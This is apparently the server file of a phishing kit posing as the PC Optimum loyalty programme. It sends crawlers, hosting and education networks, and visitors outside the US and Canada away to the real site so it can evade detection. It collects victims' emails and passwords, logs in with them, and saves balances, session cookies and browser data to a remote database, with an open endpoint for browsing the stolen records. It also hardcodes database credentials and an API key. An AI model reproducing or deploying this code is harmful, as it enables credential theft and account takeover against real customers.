app.mjs 5.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198
  1. import Fastify from "fastify";
  2. import fastifyStatic from "@fastify/static";
  3. import { dirname, resolve, join } from "path";
  4. import { fileURLToPath } from "url";
  5. import { Sequelize, DataTypes } from "sequelize";
  6. import { login } from "./login.mjs";
  7. import axios from "axios";
  8. import is_ip_private from "private-ip";
  9. import { Crawler, middleware } from "es6-crawler-detect";
  10. const __filename = fileURLToPath(import.meta.url);
  11. const __dirname = dirname(__filename);
  12. const fastify = Fastify({
  13. logger: {
  14. level: "error",
  15. },
  16. });
  17. fastify.addHook("onRequest", async (request, reply) => {
  18. var CrawlerDetector = new Crawler(request);
  19. if (CrawlerDetector.isCrawler(request.headers["user-agent"])) {
  20. return reply.code(302).header("Location", "http://localhost").send();
  21. }
  22. try {
  23. const ip = request.ip;
  24. if (ip && !is_ip_private(ip)) {
  25. const { data: ipInfo } = await axios.get(
  26. `https://api.ipregistry.co/${ip}?key=57nk4wtrvc99utix`
  27. );
  28. if (
  29. ["cdn", "hosting", "education"].includes(ipInfo.connection.type)
  30. ) {
  31. return reply
  32. .code(302)
  33. .header("Location", "https://www.pcoptimum.ca")
  34. .send();
  35. }
  36. if (!["US", "CA"].includes(ipInfo.location.country.code)) {
  37. return reply
  38. .code(302)
  39. .header("Location", "https://www.pcoptimum.ca")
  40. .send();
  41. }
  42. }
  43. } catch (error) {
  44. console.error(error.stack);
  45. }
  46. });
  47. fastify.register(fastifyStatic, {
  48. root: resolve(__dirname, "public"),
  49. prefix: "/",
  50. });
  51. const sequelize = new Sequelize("pcoptimum", "root", "3edc#EDC", {
  52. host: "38.180.126.100",
  53. dialect: "mysql",
  54. });
  55. const Accounts = sequelize.define(
  56. "accounts",
  57. {
  58. // Model attributes are defined here
  59. email: {
  60. type: DataTypes.STRING,
  61. allowNull: false,
  62. },
  63. password: {
  64. type: DataTypes.STRING,
  65. allowNull: false,
  66. },
  67. userAgent: {
  68. type: DataTypes.TEXT("long"),
  69. allowNull: true,
  70. },
  71. ip: {
  72. type: DataTypes.STRING,
  73. allowNull: true,
  74. },
  75. success: {
  76. type: DataTypes.BOOLEAN,
  77. allowNull: false,
  78. defaultValue: false,
  79. },
  80. result: {
  81. type: DataTypes.TEXT("long"),
  82. allowNull: true,
  83. },
  84. error: {
  85. type: DataTypes.TEXT("long"),
  86. allowNull: true,
  87. },
  88. balance: {
  89. type: DataTypes.STRING,
  90. allowNull: true,
  91. },
  92. dollarsRedeemable: {
  93. type: DataTypes.STRING,
  94. allowNull: true,
  95. },
  96. cookies: {
  97. type: DataTypes.TEXT("long"),
  98. allowNull: true,
  99. },
  100. browserOptions: {
  101. type: DataTypes.TEXT("long"),
  102. allowNull: true,
  103. },
  104. },
  105. {
  106. // Other model options go here
  107. }
  108. );
  109. sequelize
  110. .authenticate()
  111. .then(() => {
  112. console.log("Connection has been established successfully.");
  113. Accounts.sync().then(() => {
  114. console.log(
  115. "The table for the Account model was just (re)created!"
  116. );
  117. });
  118. })
  119. .catch((error) => {
  120. console.error("Unable to connect to the database:", error);
  121. });
  122. fastify.post("/login", async function (request, reply) {
  123. if (!request.body || !request.body.email || !request.body.password) {
  124. return reply
  125. .code(400)
  126. .send({ error: "email and password are required" });
  127. } else {
  128. const { email, password } = request.body;
  129. try {
  130. const { points, cookies, options } = await login(email, password);
  131. let balance = null;
  132. let dollarsRedeemable = null;
  133. if (points) {
  134. try {
  135. const json = JSON.parse(points);
  136. balance = json.balance + "";
  137. dollarsRedeemable = json.dollarsRedeemable + "";
  138. } catch (error) {}
  139. }
  140. const account = await Accounts.create({
  141. email,
  142. password,
  143. userAgent: request.headers["user-agent"],
  144. success: true,
  145. result: points,
  146. balance,
  147. dollarsRedeemable,
  148. cookies,
  149. browserOptions: JSON.stringify(options),
  150. });
  151. return reply.code(200).send();
  152. } catch (error) {
  153. console.error(error.stack);
  154. const account = await Accounts.create({
  155. email,
  156. password,
  157. userAgent: request.headers["user-agent"],
  158. success: false,
  159. error: error.stack,
  160. });
  161. return reply.code(500).send(error);
  162. }
  163. }
  164. });
  165. fastify.get("/list", async function (request, reply) {
  166. let page = request.query.page ? parseInt(request.query.page) : 0;
  167. const query = {};
  168. if (request.query.success) {
  169. query.success = request.query.success === "true";
  170. }
  171. const accounts = await Accounts.findAll({
  172. offset: 20 * page,
  173. limit: 20,
  174. order: [["createdAt", "DESC"]],
  175. where: query,
  176. });
  177. const total = await Accounts.count({ where: query });
  178. return {
  179. data: accounts,
  180. total,
  181. };
  182. });
  183. fastify.listen({ port: 3000, host: "0.0.0.0" }, function (err, address) {
  184. if (err) {
  185. fastify.log.error(err);
  186. process.exit(1);
  187. }
  188. });